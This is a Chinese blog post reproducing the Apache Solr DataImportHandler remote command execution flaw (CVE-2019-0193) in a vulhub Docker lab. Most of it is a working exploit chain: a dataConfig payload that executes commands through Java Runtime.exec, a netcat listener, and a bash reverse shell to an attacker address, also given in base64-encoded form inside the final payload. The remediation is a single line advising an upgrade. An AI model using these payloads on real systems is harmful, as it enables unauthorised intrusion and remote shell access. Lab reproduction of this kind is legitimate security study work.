[ vulhub漏洞复现篇 ] solr 远程命令执行(CVE-2019-0193)

news2024/11/17 19:50:17

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2019-0193环境
    • 2、启动CVE-2019-0193环境
    • 3、构建CVE-2019-0193环境
    • 4、查看CVE-2019-0193环境
    • 5、访问CVE-2019-0193环境
    • 6、查看CVE-2019-0193漏洞提示信息
    • 7、关闭CVE-2019-0193环境
  • 五、漏洞复现
    • 1、找到漏洞点
    • 2、执行POC创建PowerShell.txt文件
    • 3、进入容器发现文件创建成功
  • 六、getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.反弹shell命令
      • 2.exec编码
      • 3.构造EXP并执行
    • 3、getshell成功
  • 七、漏洞修复
  • 八、相关资源

一、漏洞编号

CVE-2019-0193

二、影响范围

Apache Solr < 8.2.0

三、漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

四、环境搭建

1、进入CVE-2019-0193环境

cd vulhub/solr/CVE-2019-0193

在这里插入图片描述

2、启动CVE-2019-0193环境

docker-compose up -d

在这里插入图片描述

3、构建CVE-2019-0193环境

由于vulhub环境是个半成品,需要自己执行如下命令构建环境,真实环境中不需要。

docker-compose exec solr bash bin/solr create_core -c PowerShell -d example/example-DIH/solr/db

在这里插入图片描述

4、查看CVE-2019-0193环境

docker-compose ps

在这里插入图片描述

5、访问CVE-2019-0193环境

访问ip+端口

http://192.168.233.128:8983/solr/#/

在这里插入图片描述

6、查看CVE-2019-0193漏洞提示信息

cat README.md

在这里插入图片描述

7、关闭CVE-2019-0193环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、找到漏洞点

选择刚创建好的PowerShell核心,选择Dataimport功能并选择debug模块,选择Debug-Mode
到这里我们可以看到代码框

在这里插入图片描述

2、执行POC创建PowerShell.txt文件

POC如下,因为是页面没有回显的所以我们这里使用创建文件的POC。
将以下POC替换为原来的代码并点击蓝色框框执行。

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/PowerShell.txt");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

在这里插入图片描述

3、进入容器发现文件创建成功

docker ps
docker exec -it 69e3516f76f5 /bin/bash
ls /tmp

在这里插入图片描述

六、getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash -i >& /dev/tcp/192.168.233.1/55555 0>&1

2.exec编码

编码工具在文末给出

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

3.构造EXP并执行

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

在这里插入图片描述

3、getshell成功

在这里插入图片描述

执行ls /tmp发现我们之前创建的文件

在这里插入图片描述

七、漏洞修复

升级为Apache Solr最新版本。

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的几种常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的几种常见方式(一)nc反弹shell
6、Exec编码工具

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/72883.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kubernetes的基础概念

一、Kubernetes的介绍 用于自动部署、扩展和管理"容器化&#xff08;containerized&#xff09;应用程序"的开源系统 可以理解成K8S是负责自动化运维管理多个容器化程序&#xff08;比如Docker&#xff09;的集群&#xff0c;是一个生态极其丰富的容器编排框架工具 …

【现场问题】zookeeper的集群,其中两台起来了,但是另外一台就是起不来,或者起来也是standalone

zookeeper问题现象集群的配置zookeeper的启动以及状态查看问题报错点问题现象 1、总共三台机器&#xff0c;node92&#xff0c;node93&#xff0c;node94 其中node92做了拉起&#xff0c;但是node93&#xff08;leader&#xff09;和node94&#xff08;follower&#xff09;&a…

浅谈MVVM ——Model-View-View-Model

浅谈MVVM ——Model-View-View-Model 前言&#xff1a; 笔者最近接到这样一个机器人项目&#xff0c;接入他们的机器人平台做二次开发&#xff0c;开发自己的opk移植到机器人上做医院展示使用。opk是必须使用机器人厂家提供的经过一定封装过的&#xff0c;该opk的架构是MVVM。…

48W字?GitHub上下载量破百万的阿里:图解Java、网络、算法笔记

Java基础这个东西&#xff0c;无论在哪个公司都被看得尤为重要&#xff0c;而面试中关于基础的问题也是层出不穷。所以基础可以说是重中之重&#xff0c;当你的基础打牢了&#xff0c;其他的也就没有那么重要了。 说到基础&#xff0c;无外乎操作系统&#xff0c;网络&#xf…

pikachu-CSRF-SSRF-RCE速通

pikachu-CSRF-SSRF-RCE速通 目录pikachu-CSRF-SSRF-RCE速通CSRFCSRF(get)CSRF(post)CSRF TokenSSRFSSRF(curl)SSRF(file_get_content)RCEexec "ping"RCE exec "eval"CSRF 跨站请求伪造&#xff0c;说的通俗一点就是攻击者构造出某个网站的数据包请求并部署…

p3.第一章 基础入门 -- Python编程基本概念 (三)

1.2.2 Python语言 1.2.2.1 Python发展 1989年圣诞节期间&#xff0c;为了打发无聊的时间&#xff0c;荷兰人Guido van Rossum&#xff08;吉多范罗苏姆&#xff09;&#xff08;数学、计算机双硕士&#xff0c;2005年加入Google&#xff0c;2013年加入DropBox&#xff09;&am…

JavaUUID的理解

可笑&#xff0c;你竟然不知道 Java 如何生成 UUID - 沉默王二博客 UUID是通用唯一标识符的意思&#xff0c;就是唯一不重复的一串字符。 UUID的用途&#xff1a; 随机生成的文件名&#xff1b;Java Web 应用程序的 sessionID&#xff1b;数据库表的主键&#xff1b;事务 ID&…

EMQ 助力阿里云洛神云网络构建新一代“亿级并发、百万级吞吐”NLB 网络型负载均衡系统

万物智联的数字化时代,我们正走在从“数据量变”到“连接质变”的道路上。在日益丰富的物联网应用场景中,实现海量设备与云端之间双向通信连接,分析并从中获得实时洞察成了打造成功物联网解决方案的核心推动因素。EMQ 映云科技(以下简称“EMQ”)作为全球领先的开源物联网基础设…

UE在TextRender上显示中文文本

文章目录 1.实现目标2.实现过程2.1 添加字体2.2 创建字体材质2.3 将字体应用到TextRender3.参考资料1.实现目标 UE的UMG可以正常支持中文,但是TextRender并不支持中文,因此需要添加本地离线中文字体库,使TextRender显示中文。 2.实现过程 2.1 添加字体 (1)选择User Int…

day6bom操作浏览器

apis-day6bom-操作浏览器 文章目录apis-day6bom-操作浏览器1、window对象1.1BOM(浏览器对象模型1.2定时器-延时函数1.3JS执行机制&#xff08;重要&#xff09;1.4 location对象1.5 navigator对象1.6histroy对象&#xff08;用的少&#xff09;2、swiper插件3、本地存储&#x…

当前的数字化,CIO 们到底需要什么?

“做数字化&#xff0c;没人、没钱、没资源&#xff0c;但还要做效果&#xff0c;该怎么办&#xff1f;” 这是很多 CIO 当下都面临的困境。 那么&#xff0c;对于不同企业来说&#xff0c;到底该如何有效探索数字化转型之路呢&#xff1f; 数字化转型的三个阶段 Gartner 把…

简易黑客初级教程:黑客技术,分享教学

前言 第一节&#xff0c;伸展运动。这节操我们要准备道具&#xff0c;俗话说&#xff1a;“工欲善其事&#xff0c;必先利其器”(是这样吗?哎!文化低……)说得有道理&#xff0c;我们要学习黑客技术&#xff0c;一点必要的工具必不可少。 1&#xff0c;一台属于自己的可以上…

【面试题】2023 中级前端面试题

前言 从前端学习到找一份合适的工作&#xff0c;大大小小的面试必不可少&#xff0c;所以我对初级前端面试题进行了初步整理&#xff0c;也方便自己查阅&#xff0c;也希望对小伙伴们有所帮助&#xff01; 给大家推荐一个实用面试题库 1、前端面试题库 &#xff08;面试必备&…

C语言——内存中数据存储的详解(整型与浮点型)

文章目录1.数据类型的详细介绍1.1数据类型介绍1.2类型的基本归类整型类型浮点类型构造类型指针类型空类型2.整型在内存中的存储2.1原码、反码、补码2.2大小端存储大小端存储存在的意义编写一个程序判断当前机器的存储方式是大端存储还是小端存储2.3经典习题练习一练习二练习三c…

Prometheus部署Prometheus Server、Pushgateway、Node exporter、AlertManager

目录1. 安装Prometheus Server1.1 下载解压1.2 修改配置文件prometheus.yml1.3 启动Prometheus Server2. 安装Pushgateway2.1 下载解压2.2 启动Pushgateway3. 安装Node Exporter3.1 下载解压3.2 启动Node Exporter4. 安装Alertmanager4.1 下载解压4.2 启动Alertmanager1. 安装P…

CS5518 MIPI转LVDS转换方案芯片|DSI转LVDS转换方案芯片

CS5518 是一款MIPI DSI 至 LVDS 转换器方案芯片。 Capstone CS5518是一款MIPI DSI输入、LVDS输出转换芯片。MIPI DSI 支持多达4个局域网&#xff0c;每条通道以最大 1Gbps 的速度运行。LVDS支持18位或24位像素&#xff0c;25Mhz至154Mhz&#xff0c;采用VESA或JEIDA格式。它只…

CMake中target_sources的使用

CMake中的target_sources命令用于将源添加到target&#xff0c;其格式如下&#xff1a; target_sources(<target><INTERFACE|PUBLIC|PRIVATE> [items1...][<INTERFACE|PUBLIC|PRIVATE> [items2...] ...]) # general formtarget_sources(<target>[<…

网络安全之反序列化漏洞分析

简介 FastJson是alibaba的一款开源JSON解析库&#xff0c;可用于将Java对象转换为其JSON表示形式&#xff0c;也可以用于将JSON字符串转换为等效的Java对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。 使用 对于序列化的方法toJSONString()有多个重载…

LSTM反向传播原理——LSTM从零实现系列(2)

一、LSTM反向传播介绍 LSTM的反向传播过程相对复杂&#xff0c;主要因为其对应的控制门较多&#xff0c;而对于每一个控制门我们都需要求导&#xff0c;所以工作量较大。 首先我们根据LSTM结构图分析一下每个控制门的求导过程。在讲解反向传播之前&#xff0c;先了解一些要用到…

web课程设计网页规划与设计:鲜花网站设计——基于HTML+CSS+JavaScript制作网上鲜花网页设计(5页)

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…